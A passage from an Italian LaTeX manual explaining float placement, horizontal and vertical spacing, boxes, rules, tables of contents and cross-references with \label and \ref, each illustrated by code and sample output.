dichiara una tabella fluttuante che può essere collocata nell'ordine: all'inizio della pagina, alla fine, oppure in una pagina a parte. In pratica, viene esclusa la collocazione nel punto in cui viene dichiarata, a meno che questo coincida con una delle alternative concesse.

Se i permessi di posizionamento dell'oggetto non vengono specificati, LaTeX intende l'uso della sigla '**`tbp`**', cioè in alto, in basso o in una nuova pagina, escludendo la posizione naturale.

Dal momento che un oggetto inserito in un ambiente fluttuante non può essere suddiviso, risulta difficile imporre la collocazione nello stesso punto in cui si trova, quando ciò costringe a lasciare molto spazio vuoto alla fine di una pagina. Pertanto, l'uso del solo permesso '**`h`**', senza alternative, diventa privo del suo significato nella maggior parte dei casi. Se la collocazione di questi oggetti deve avvenire necessariamente nella loro posizione naturale, lo si può imporre incorporando il pacchetto '**`float`**' nel preambolo e indicando il permesso '**`H`**' (la lettera H maiuscola):

```
\usepackage{float}
\begin{document}
...
\begin{table}[H]
    ...
\end{table}
```

La differenza tra gli ambienti si avverte solo quando si inseriscono le didascalie, attraverso il comando '**`\caption`**':

```
\begin{figure}[permesso_di_collocazione]
    \caption{didascalia}
    figura
\end{figure}
```

```
\begin{table}[permesso_di_collocazione]
    \caption{didascalia}
    tabella
\end{table}
```

Il comando '**\caption**' può essere inserito in qualunque punto, all'interno dell'ambiente, purché ciò possa avere senso in fase di composizione (generalmente si sceglie l'inizio o la fine, per avere una didascalia superiore o inferiore). L'inserimento del comando fa incrementare il contatore delle figure o delle tabelle, corrispondente rispettivamente a '**figure**' o '**table**'; inoltre la didascalia risulta arricchita della definizione «figura» o «tabella» con l'aggiunta del numero relativo. Infine, il numero della figura o della tabella viene accumulato per generare un indice specifico, attraverso i comandi '**\listoffigures**' e '**\listoftables**'.

L'esempio seguente mostra la costruzione di una tabella molto povera, che serve a comprendere quanto si indifferente per LaTeX cosa sia il contenuto effettivo di questi ambienti:

```
\begin{table}[htbp]
    \begin{verbatim}
                .-------------------------------------------.
                | n. | cognome  | nome           | professione |
                |----|----------|----------------|-------------|
                |  1 | Tizi     | Tizio          | tramviere   |
                |----|----------|----------------|-------------|
                |  2 | Cai      | Caio           | pasticcere  |
                |----|----------|----------------|-------------|
                |  3 | Semproni | Sempronio      | falegname   |
                `-------------------------------------------'
    \end{verbatim}
    \caption{Una tabella molto semplice}
\end{table}
```

```
.-------------------------------------------.
| n. | cognome  | nome           | professione |
|----|----------|----------------|-------------|
|  1 | Tizi     | Tizio          | tramviere   |
|----|----------|----------------|-------------|
|  2 | Cai      | Caio           | pasticcere  |
|----|----------|----------------|-------------|
|  3 | Semproni | Sempronio      | falegname   |
`-------------------------------------------'
```

Tabella 1: Una tabella molto semplice

Nella sezione 62.6.2 sono descritti i comandi con cui si può ottenere un salto pagina. In particolare, i comandi '**\clearpage**' e '**\cleardoublepage**' si occupano anche di inserire gli oggetti fluttuanti che non fossero già stati collocati secondo i permessi attribuiti. In pratica, se degli oggetti fluttuanti non hanno ancora potuto essere collocati, questi comandi per il salto pagina forzano il loro l'inserimento nella composizione, probabilmente in una pagina a parte. Di solito, i comandi che in qualche modo implicano un salto pagina, fanno uso di questi

comandi '**`\clearpage`**' o '**`\cleardoublepage`**', proprio per chiudere anche con gli oggetti fluttuanti ancora sospesi.

62.9 Spazi e scatole

LaTeX evita di dare la stessa libertà che dà TeX nella gestione degli spazi e delle scatole. In questo senso, sono disponibili una serie di comandi, spesso simili tra loro, che possono creare un po' di confusione all'utilizzatore.

62.9.1 Spazi orizzontali

A proposito di spazi orizzontali, esistono ovviamente due possibilità: spazi rigidi e spazi elastici. Nel secondo caso, sono disponibili anche comandi che inseriscono puntini o linee in modo elastico, come quando si compila un indice e si vuole guidare la vista verso il numero della pagina.

Comando	Descrizione
`\hspace{`***lunghezza***`}` `\hspace*{`***lunghezza***`}`	Inserisce uno spazio orizzontale rigido. Il valore dell'argomento può essere negativo; in tal caso si ottiene un arretramento. Se lo spazio inserito viene a trovarsi all'inizio di una riga, viene ignorato, a meno che sia usato l'asterisco.

L'esempio seguente vuole mettere a confronto uno spazio normale, che viene soppresso perché si trova all'inizio di una riga, con uno spazio con asterisco, che risulta inserito in ogni caso:

```
1 Bla bla bla \hspace{3cm} bla bla bla...

2 Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla \hspace{5cm} bla bla bla...

3 Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla \hspace*{5cm} bla bla bla...
```

1 Bla bla bla   bla bla bla...
2 Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...
3 Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
                                        bla bla bla...

Comando	Descrizione
`\hfill`	Inserisce uno spazio orizzontale elastico che, in condizioni normali, va a riempire tutto lo spazio disponibile.
`\dotfill`	Inserisce uno spazio orizzontale elastico contenente dei puntini.
`\hrulefill`	Inserisce uno spazio orizzontale elastico contenente una linea orizzontale.

Generalmente, lo spazio orizzontale elastico si usa per allineare qualcosa al centro o a destra, come nell'esempio seguente:

```
\noindent sinistra\hfill centro\hfill destra\par
\noindent sinistra\dotfill centro\hrulefill destra\par
```

Come si vede dal risultato, questi comandi hanno tutti lo stesso grado di elasticità:

sinistra centro destra
sinistra.................................centro________________________________destra

È importante osservare che i comandi per gli spazi elastici non funzionano se si trovano all'inizio o alla fine di una riga. Eventualmente, se è necessario, si può inserire uno spazio non interrompibile ('~') primo o dopo il comando:

```
\noindent ~\hrulefill destra\par
\noindent sinistra\dotfill ~\par
```

____destra
sinistra...

62.9.2 Spazi verticali

I comandi per l'inserimento di spazi verticali riprendono la stessa logica di quelli orizzontali (escludendo il riempimento con puntini o linee). In generale, gli spazi rigidi sono cumulabili.

Comando	Descrizione
`\vspace{`***lunghezza***`}`	Inserisce uno spazio verticale rigido. Se si trova all'inizio di una pagina, viene ignorato.
`\vspace*{`***lunghezza***`}`	Inserisce uno spazio verticale rigido. Se si trova all'inizio di una pagina, viene inserito regolarmente.
`\addvspace{`***lunghezza***`}`	Aggiunge uno spazio verticale rigido. Se nello stesso punto vengono usati più comandi '**`\addvspace`**', viene preso in considerazione solo quello con la lunghezza maggiore.
`\vfill`	Inserisce uno spazio verticale elastico, che in condizioni normali va a riempire tutto lo spazio disponibile.

L'esempio seguente riguarda l'inserzione di spazi rigidi attraverso i comandi '**`\vspace`**' e '**`\addvspace`**':

```
1 Bla bla bla...

\vspace{0.5cm}
2 Bla bla bla...

\vspace{0.5cm}
\vspace{0.5cm}
3 Bla bla bla...

\vspace{0.5cm}
\addvspace{0.5cm}
\addvspace{1.5cm}
4 Bla bla bla...
```

Si può osservare che i comandi '**`\vspace`**' si sommano tra loro, mentre '**`\addvspace`**' no,

limitando ad aggiungere lo spazio più grande:

1 Bla bla bla...

2 Bla bla bla...

3 Bla bla bla...

4 Bla bla bla...

Lo spazio verticale elastico consente di allineare il testo verticalmente, come nell'esempio seguente, in cui si individua un blocco centrale e un blocco in fondo alla pagina:

```
1 Sopra, bla bla bla...

\vfill
2 Centro, bla bla bla...

\vfill
3 Sotto, bla bla bla...

\newpage
```

1 Sopra, bla bla bla...

2 Centro, bla bla bla...

3 Sotto, bla bla bla...

Per l'uniformità della veste grafica del testo, è importante standardizzare gli spazi verticali, attraverso dei comandi appositi, che cambiano a seconda dello stile generale:

Comando	Descrizione
`\smallskip`	spazio piccolo;
`\medskip`	spazio medio;
`\bigskip`	spazio grande.

L'entità dello spazi verticale introdotto da questi comandi dipende da altri comandi:

Comando	Descrizione
`\smallskipamount`	lunghezza piccola;
`\medskipamount`	lunghezza media;
`\bigskipamount`	lunghezza grande.

In pratica, i comandi per l'inserzione di spazi verticali standard corrispondono all'uso di '**`\vskip`**' con queste lunghezze uniformi:

Comando	Equivalenza	Esempio di altezza
\smallskip	\vspace{\smallskipamount}	3.0pt plus 1.0pt minus 1.0pt
\medskip	\vspace{\medskipamount}	6.0pt plus 2.0pt minus 2.0pt
\bigskip	\vspace{\bigskipamount}	12.0pt plus 4.0pt minus 4.0pt

L'esempio seguente mostra in pratica l'uso di questi comandi per l'inserzione di spazi verticali standard:

```
Bla bla bla...\bigskip

Lo spazio prima di questa riga è grande;\medskip

lo spazio prima di questa riga è medio;\smallskip

lo spazio prima di questa riga è piccolo;

lo spazio prima di questa riga è quello normale.
```

Bla bla bla...

Lo spazio prima di questa riga [U+FFFD]ande;

lo spazio prima di questa riga [U+FFFD]dio;

lo spazio prima di questa riga [U+FFFD]ccolo;
lo spazio prima di questa riga [U+FFFD]ello normale.

62.9.3 Elasticità controllabile

È possibile definire in modo semplice una lunghezza elastica da usare poi con comandi come '**`\hspace`**' e '**`\vspace`**':

Comando	Descrizione
`\stretch{`***n***`}`	restituisce una lunghezza elastica pari a ***n***.

Maggiore è il valore attribuito all'argomento di '**`\stretch`**', maggiore è di conseguenza l'elasticità. A titolo si esempio si può vedere come si trasforma questo comando:

Comando	Lunghezza equivalente
\stretch{1}	0.0ptplus1fill
\stretch{2}	0.0ptplus2fill
\stretch{2.5}	0.0ptplus2.5fill

62.9.4 Interlinea

La distanza tra le righe di un blocco di testo normale si può controllare modificando la lunghezza '**`\baselineskip`**'; tuttavia, con l'aiuto del pacchetto '**`setspace`**', si possono usare comandi che semplificano questo tipo di intervento:

Comando	Descrizione
`\usepackage{setspace}`	dichiara l'utilizzo del pacchetto necessario alla gestione dei comandi sottostanti;
`\singlespacing`	richiede un'interlinea normale;
`\onehalfspacing`	richiede un'interlinea maggiore;
`\doublespacing`	richiede un'interlinea doppia.

L'esempio seguente mostra l'uso e l'effetto di questi comandi:

```
…
\usepackage{setspace}
…
\begin{document}

\singlespacing
Questo paragrafo ha un'interlinea normale. Bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

\onehalfspacing
Questo paragrafo ha un'interlinea pari a una volta e mezza quella
normale. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla...

\doublespacing
Questo paragrafo ha un'interlinea doppia. Bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

\end{document}
```

Questo paragrafo ha un'interlinea normale. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Questo paragrafo ha un'interlinea pari a una volta e mezza quella normale. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Questo paragrafo ha un'interlinea doppia. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Anche senza il pacchetto '**`setspace`**', si può usare nel preambolo il comando seguente:

Comando	Descrizione
`\linespread{`***fattore***`}`	moltiplica la distanza tra le righe del fattore indicato.

Per esempio, così:

```
…
\linespread{2.5}
…
\begin{document}

La distanza tra le righe è di due volte e mezza quella normale. Bla bla
bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla...

\end{document}
```

La distanza tra le righe [U+FFFD] due volte e mezza quella normale. Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

62.9.5 Scatole

LaTeX offre una serie di comandi per la realizzazione di scatole, bordate e non, alcuni dei quali sono già apparsi in altri capitoli. Oltre alla presenza del bordo, le scatole si distinguono per la capacità o meno di rimpaginano il testo al loro interno.

<table>
<tr><th>Comando</th><th>Comando</th><th>Descrizione</th></tr>
<tr><td><code>\mbox{</code>testo<code>}</code></td><td><code>\fbox{</code>testo<code>}</code></td><td>Inserisce il testo in una scatola larga quanto il testo stesso; nel secondo caso si ottiene una scatola bordata.</td></tr>
<tr><td><code>\makebox[</code>ampiezza<code>]</code>↩
↪<code>[c|l|r|s]{</code>testo<code>}</code></td><td><code>\framebox[</code>ampiezza<code>]</code>↩
↪<code>[c|l|r|s]{</code>testo<code>}</code></td><td>Inserisce il testo (di una sola riga) in una scatola; nel secondo caso si ottiene una scatola bordata.</td></tr>
</table>

Quelli appena mostrati sono i comandi più comuni per ottenere delle scatole, in cui il testo occupa sempre una riga. Si può intuire che i comandi '**`\makebox`**' e '**`\framebox`**', usati senza argomenti opzionali, sono equivalenti rispettivamente a '**`\mbox`**' e '**`\fbox`**'. Il secondo argomento opzionale di '**`\makebox`**' e '**`\framebox`**' è una lettera che indica l'allineamento orizzontale che deve avere il testo contenuto:

Lettera	Significato mnemonico	Descrizione
`c`	*center*	testo centrato orizzontalmente nella scatola;
`l`	*left*	testo allineato a sinistra;
`r`	*right*	testo allineato a destra;
`s`	*stretch*	testo allargato per tutta l'ampiezza della scatola.

L'esempio seguente dovrebbe chiarire l'utilizzo di questi comandi:

```
Bla bla bla \mbox{ciao ciao} bla bla bla \fbox{ciao ciao} bla bla
bla...

Bla bla bla \makebox{ciao ciao} bla bla bla \framebox{ciao ciao}
bla bla bla...

Bla bla bla \makebox[4cm]{ciao ciao} bla bla bla
\framebox[4cm]{ciao ciao} bla bla bla...

Bla bla bla \makebox[4cm][c]{ciao ciao} bla bla bla
\framebox[4cm][c]{ciao ciao} bla bla bla...

Bla bla bla \makebox[4cm][l]{ciao ciao} bla bla bla
\framebox[4cm][l]{ciao ciao} bla bla bla...

Bla bla bla \makebox[4cm][r]{ciao ciao} bla bla bla
\framebox[4cm][r]{ciao ciao} bla bla bla...

Bla bla bla \makebox[4cm][s]{ciao ciao} bla bla bla
\framebox[4cm][s]{ciao ciao} bla bla bla...
```

Bla bla bla ciao ciao bla bla bla [ciao ciao] bla bla bla...
Bla bla bla ciao ciao bla bla bla [ciao ciao] bla bla bla...
Bla bla bla ciao ciao bla bla bla [ciao ciao] bla bla bla...
Bla bla bla ciao ciao bla bla bla [ciao ciao] bla bla bla...
Bla bla bla ciao ciao bla bla bla [ciao ciao] bla bla bla...
Bla bla bla ciao ciao bla bla bla [ciao ciao] bla bla bla...
Bla bla bla ciao ciao bla bla bla [ciao ciao] bla bla bla...

Le scatole bordate con '**`\fbox`**' e '**`\framebox`**' sono controllate da due dimensioni, molto utili per gestirne l'estetica:

Comando	Descrizione
`\fboxrule=`***dimensione*** `\setlength{\fboxrule}{`***dimensione***`}`	definisce lo spessore della linea usata per il bordo;

Comando	Descrizione
`\fboxsep=`***dimensione*** `\setlength{\fboxsep}{`***dimensione***`}`	definisce la distanza tra la linea del bordo e il contenuto della scatola.

L'esempio seguente dovrebbe chiarire in che modo usare questi valori per controllare le scatole bordate:

```
\fbox{scatola bordata normale}
{\fboxrule=3mm\fbox{scatola con bordo più spesso}}
\fbox{scatola bordata normale}
{\fboxsep=3mm\fbox{scatola più spaziosa}}
\fbox{scatola bordata normale}
{\fboxrule=3mm\fboxsep=3mm\fbox{scatola spaziosa con bordo spesso}}
```

Si può osservare che le scatole «speciali» sono state racchiuse tra parentesi graffe, per evitare che la modifica delle caratteristiche legate allo spessore della linea e alla distanza dal contenuto, possa coinvolgere il resto del testo. L'alternanza con scatole normali dimostra il funzionamento di questo sistema di contenimento:

scatola bordata normale scatola con bordo pi spesso scatola bordata normale scatola pi spaz

scatola bordata normale scatola spaziosa con bordo spesso

Per inserire in una scatola più di una riga di testo, si possono usare due tipi di istruzioni, ottenendo risultati leggermente differenti:

<table>
<tr><td><code>\parbox[c|t|b][</code>altezza<code>][c|t|b|s]{</code>larghezza<code>}{</code>testo<code>}</code></td><td>definisce una scatola, senza bordo, per contenere del testo impaginato nell'ambito della larghezza stabilita;</td></tr>
<tr><td><code>\begin{minipage}[c|t|b]{</code>larghezza<code>}</code>
  testo
<code>\end{minipage}</code></td><td>definisce una scatola, senza bordo, per contenere del testo impaginato nell'ambito della larghezza stabilita.</td></tr>
</table>

La differenza più importante tra questi due tipi di scatole sta nel fatto che '**`\parbox`**' consente l'inserimento di testo non troppo complesso, mentre l'ambiente '**`minipage`**' è letteralmente una piccola pagina, in cui anche le note a piè pagina rimangono al suo interno.

In entrambi i casi, il primo argomento opzionale indica la collocazione della scatola, in senso verticale, rispetto alla base della riga in cui ci si trova; pertanto:

Lettera	Significato mnemonico	Descrizione
`c`	*center*	richiede una scatola centrata verticalmente rispetto alla riga;
`t`	*top*	richiede una scatola che parte dalla riga e si espande in basso;
`b`	*bottom*	richiede una scatola che parte dalla riga e si espande in alto.

L’esempio seguente consente di confrontare il comportamento dei due tipi di scatole per ciò che riguarda l’allineamento di queste rispetto alla riga. Per facilitare il paragone visivo, queste scatole vengono bordate attraverso il comando ‘**`\fbox`**’:

```
Bla bla bla bla bla...

Bla bla \fbox{\parbox{2cm}{Questa frase è in una scatola}} bla
\fbox{\parbox[c]{2cm}{Questa frase è in una scatola}} bla
\fbox{\parbox[t]{2cm}{Questa frase è in una scatola}} bla
\fbox{\parbox[b]{2cm}{Questa frase è in una scatola}} bla bla.

Bla bla bla bla bla...

Bla bla \fbox{\begin{minipage}{2cm}Questa frase è in una
scatola\end{minipage}} bla \fbox{\begin{minipage}[c]{2cm}Questa frase è
in una scatola\end{minipage}} bla \fbox{\begin{minipage}[t]{2cm}Questa
frase è in una scatola\end{minipage}} bla
\fbox{\begin{minipage}[b]{2cm}Questa frase è in una
scatola\end{minipage}} bla bla.

Bla bla bla bla bla...
```

Come si vede dal risultato della composizione, per il momento non si notano differenze:

Bla bla bla bla bla...

Bla bla [Questa frase [U+FFFD] una scatola] bla [Questa frase [U+FFFD] una scatola] bla [Questa frase [U+FFFD] una scatola] bla [Questa frase [U+FFFD] una scatola] bla bla.

Bla bla bla bla bla...

Bla bla [Questa frase [U+FFFD] una scatola] bla [Questa frase [U+FFFD] una scatola] bla [Questa frase [U+FFFD] una scatola] bla [Questa frase [U+FFFD] una scatola] bla bla.

Bla bla bla bla bla...

Dalla sintassi mostrata a proposito di ‘**`\parbox`**’, si nota la possibilità di indicare l’altezza della scatola, assieme a un terzo argomento opzionale che serve a collocare il testo nella scatola:

Lettera	Significato mnemonico	Descrizione
`c`	*center*	testo centrato verticalmente nella scatola;
`t`	*top*	testo in alto;
`b`	*bottom*	testo in basso;
`s`	*stretch*	testo allungato per tutta l’altezza della scatola.

L’esempio seguente riguarda esclusivamente ‘**`\parbox`**’, per mostrare l’uso dei due ulteriori argomenti opzionali:

```
Bla bla bla bla bla...

Bla bla bla \fbox{\parbox[c][2cm]{2cm}{Questa frase è in una scatola}}
\fbox{\parbox[c][2cm][c]{2cm}{Questa frase è in una scatola}}
\fbox{\parbox[c][2cm][t]{2cm}{Questa frase è in una scatola}}
\fbox{\parbox[c][2cm][b]{2cm}{Questa frase è in una scatola}}
\fbox{\parbox[c][2cm][s]{2cm}{Questa frase è in una scatola}}

Bla bla bla bla bla...
```

Si può osservare che nell'ultima scatola, l'opzione di allungamento verticale del testo non funziona, perché il testo non possiede spazi elastici:

Bla bla bla bla bla...

Bla bla bla | Questa frase [U+FFFD] una scatola | Questa frase [U+FFFD] una scatola | Questa frase [U+FFFD] una scatola | Questa frase [U+FFFD] una scatola | Questa frase [U+FFFD] una scatola |

Bla bla bla bla bla...

62.9.6 Testo da salvare e da recuperare

LaTeX ha una capacità limitata di memorizzare del testo in modo da poterlo inserire successivamente nella composizione:

Comando	Descrizione
`\begin{lrbox}{`***n***`}`***testo***`\end{lrbox}`	accumula nel registro ***n*** il testo indicato;
`\usebox{`***n***`}`	inserisce nella composizione il testo corrispondente al registro ***n***, in una scatola orizzontale.

La spiegazione dei due modelli sintattici dovrebbe essere sufficiente a comprendere il funzionamento della cosa; tuttavia è importante sottolineare che il testo accumulato può essere composto da una sola riga e viene poi rappresentato come se fosse inserito in una scatola '**`\mbox`**'. Segue un esempio:

```
\begin{lrbox}{1}
ciao a tutti
\end{lrbox}

\begin{lrbox}{2}
ma che bello
\end{lrbox}

Bla bla bla \usebox{2} bla bla bla \usebox{1} bla bla bla \usebox{2} bla
bla bla \usebox{1} bla bla bla...
```

Bla bla bla ma che bello bla bla bla ciao a tutti bla bla bla ma che bello bla bla bla ciao a tutti bla bla bla...

62.9.7 Linee

Con LaTeX, si ottengono linee orizzontali o verticali con il comando '**`\rule`**'. Per la precisione, si disegnano dei rettangoli neri di ampiezza e altezza stabiliti; pertanto, per ottenere una linea orizzontale si utilizza un rettangolo molto largo e molto basso, mentre per una linea verticale si usa un rettangolo molto stretto. Questi rettangoli sono collocati a loro volta nella parte superiore di una scatola, che in condizioni normali è alta quanto basta per contenere l'oggetto.

`\rule{`***larghezza***`}{`***altezza***`}`

`\rule[`***spazio_verticale_aggiuntivo***`]{`***larghezza***`}{`***altezza***`}`

L'esempio seguente riguarda la realizzazione di alcune linee, verticali e orizzontali, senza spazi verticali aggiuntivi:

```
Bla bla bla...

Bla bla bla \rule{0.5mm}{1cm} \rule{0.6mm}{1cm} \rule{0.7mm}{1cm}
\rule{0.8mm}{1cm} \rule{0.9mm}{1cm} \rule{1mm}{1cm} bla bla bla...

\rule{\textwidth}{0.5mm}

\rule{\textwidth}{0.6mm}

\rule{\textwidth}{0.7mm}

\rule{\textwidth}{0.8mm}

\rule{\textwidth}{0.9mm}

\rule{\textwidth}{1mm}

Bla bla bla...
```

Bla bla bla...

Bla bla bla ▮▮▮▮▮▮ bla bla bla...

Bla bla bla...

L'esempio seguente è una variante con l'aggiunta di spazi verticali aggiuntivi:

```
Bla bla bla...

Bla bla bla \rule[1mm]{0.5mm}{1cm} \rule[2mm]{0.6mm}{1cm}
\rule[3mm]{0.7mm}{1cm}
\rule[4mm]{0.8mm}{1cm} \rule[5mm]{0.9mm}{1cm} \rule[6mm]{1mm}{1cm} bla
bla bla...

\rule[1mm]{\textwidth}{0.5mm}

\rule[2mm]{\textwidth}{0.6mm}

\rule[3mm]{\textwidth}{0.7mm}

\rule[4mm]{\textwidth}{0.8mm}

\rule[5mm]{\textwidth}{0.9mm}

\rule[6mm]{\textwidth}{1mm}

Bla bla bla...
```

Bla bla bla...

Bla bla bla ||||||| bla bla bla...

Bla bla bla...

62.10 Riferimenti incrociati

LaTeX gestisce diversi tipi di riferimenti incrociati, di cui il più importante è l'indice generale, ottenuto attraverso il comando '**`\tableofcontents`**'. La gestione dei riferimenti incrociati avviene attraverso la creazione di file temporanei, adibiti ad accumulare le informazioni, da riutilizzare attraverso rielaborazioni successive. In pratica, è proprio la presenza di questi riferimenti incrociati che obbliga a ripetere il procedimento di composizione più volte.

62.10.1 Indice generale, indice delle tabelle e delle figure

La creazione dell'indice generale, dell'indice delle tabelle e dell'indice delle figure, parte dall'accumulo delle informazioni sulla collocazione di queste voci. Per la precisione, i comandi che definiscono la suddivisione del documento annotano il titolo, il numero della sezione e la pagina in un file con estensione '`.toc`' (*Table of contents*); i comandi '**`\caption`**' inseriti nell'involucro fluttuante di una tabella o di una figura, annotano il numero e la pagina in cui si trovano in file con estensione '`.lot`' (*List of tables*) e '`.lof`' (*List of figures*).

Nella rielaborazione successiva (quando il comando di composizione viene ripetuto), questi file possono essere incorporati attraverso i comandi '**`\tableofcontents`**', '**`\listoftables`**' e '**`\listoffigures`**', per ottenere rispettivamente l'indice generale, l'indice delle tabelle e delle figure.

Dal momento che l'inserzione modifica la lunghezza del testo, a meno che gli indici siano collocati alla fine del documento, si rende necessaria almeno una terza rielaborazione.

Comando	Descrizione
`\tableofcontents`	inserisce nella composizione l'indice generale, ottenuto dal file '`.toc`', generato dalla composizione precedente;
`\listoftables`	inserisce nella composizione l'indice delle tabelle, ottenuto dal file '`.lot`', generato dalla composizione precedente;
`\listoffigures`	inserisce nella composizione l'indice delle figure, ottenuto dal file '`.lof`', generato dalla composizione precedente.

L'inserimento di voci in questi elenchi può avvenire anche in modo manuale, attraverso due comandi appositi:

Comando	Descrizione
`\addtocontents{toc|lot|lof}{`*testo*`}`	aggiunge il testo indicato nell'ultimo argomento, nell'indice corrispondente alla sigla del primo argomento (indice generale, indice delle tabelle o indice delle figure);
`\addcontentsline{toc|lot|lof}{`*livello*`}{`*testo*`}`	aggiunge la voce nell'indice corrispondente alla sigla del primo argomento.

Il funzionamento del comando '**`\addtocontents`**' è relativamente semplice, nel senso che ci si limita ad aggiungere del testo nell'indice prescelto:

```
\tableofcontents

\section{Prima}

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla...

\addtocontents{toc}{Ciao a tutti\par}

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla...
```

```
\section{Seconda}

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla...
```

Si può osservare che nel testo inserito è stata aggiunta la richiesta esplicita di concludere il paragrafo; ciò si rende necessario per evitare problemi imprevisti nel momento dell'incorporazione del file '`.toc`'.

Indice

1 Prima **1**
Ciao a tutti

2 Seconda **1**

1 Prima

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

2 Seconda

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

L'uso di '**`\addcontentsline`**' è più complesso, perché richiede anche l'indicazione del «livello» della voce. Se si tratta dell'indice generale, il livello è rappresentato dalle parole chiave da '**`part`**' a '**`subparagraph`**', mentre negli altri casi è ammesso l'uso di '**`table`**' o '**`figure`**'. Così si intende che la voce inserita sia da trattare allo stesso modo del livello corrispondente, per ciò che riguarda la composizione. Nell'esempio che segue, la voce si inserisce al livello di una sottosezione:

```
\tableofcontents

\section{Prima}

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla...

\addcontentsline{toc}{subsection}{Ciao a tutti}

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla...

\section{Seconda}

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
```

```
bla bla bla bla bla bla bla bla bla bla...
```

Come si vede, in questo caso non c'è più bisogno di concludere il paragrafo nel testo, cosa che al contrario genererebbe qui solo un errore:

Indice

1 Prima **1**
Ciao a tutti 1

2 Seconda **1**

1 Prima

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

2 Seconda

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Volendo, si può spiare il contenuto del file '.toc' generato, per scoprire come si può aggiungere una cifra davanti alla voce inserita manualmente:

```
\contentsline {section}{\numberline {1}Prima}{1}
\contentsline {section}{Ciao a tutti}{1}
\contentsline {section}{\numberline {2}Seconda}{1}
```

Intuitivamente si comprende l'uso del comando '**\numberline**':

```
\tableofcontents

\section{Prima}

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla...

\addcontentsline{toc}{subsection}{\numberline{1.1}Ciao a tutti}

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla...

\section{Seconda}

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla...
```

Indice

1 Prima **1**
1.1 Ciao a tutti 1

2 Seconda **1**

1 Prima

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

2 Seconda

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

62.10.2 Riferimenti liberi

LaTeX mette a disposizione pochi comandi per la creazione di riferimenti incrociati all'interno del testo. Attraverso il comando '**`\label`**' è possibile definire un'etichetta alla quale si può fare riferimento con i comandi '**`\ref`**' o '**`\pageref`**':

Comando	Descrizione
`\label{`*stringa_identificativa*`}`	mette un punto di riferimento invisibile, identificato dalla stringa contenuta nell'argomento;
`\ref{`*stringa_identificativa*`}`	inserisce nella composizione il numero corrispondente alla stringa di identificazione indicata, secondo il contesto;
`\pageref{`*stringa_identificativa*`}`	inserisce nella composizione il numero della pagina corrispondente alla stringa di identificazione indicata.

La posizione in cui viene collocato il comando '**`\label`**' è importante, in quanto '**`\ref`**' si comporta diversamente a seconda del contesto. Se l'etichetta viene dichiarata all'interno di testo normale, il riferimento generico a questa restituisce un numero, più o meno articolato, che indica la sezione o il capitolo in cui si trova; se invece l'etichetta viene dichiarata all'interno di un ambiente numerato, come una tabella, una figura, un'equazione o altro, il riferimento a questa genera il numero corrispondente a tale elemento.

A titolo di esempio, viene mostrato come si potrebbe procedere per la costruzione manuale di un indice generale, senza l'ausilio del comando '**`\tableofcontents`**':

```
\section*{Indice}

\noindent\ref{sec:Prima} Prima, pag. \pageref{sec:Prima}

\noindent\ref{sec:Seconda} Seconda, pag. \pageref{sec:Seconda}

\section{Prima} \label{sec:Prima}

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
```

```
bla bla bla bla bla bla bla bla bla bla bla...

\section{Seconda} \label{sec:Seconda}

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla
bla bla bla bla bla bla bla bla bla bla bla...
```

Indice

1 Prima, pag. 1
2 Seconda, pag. 1

1 Prima

Bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla bla...

2 Seconda

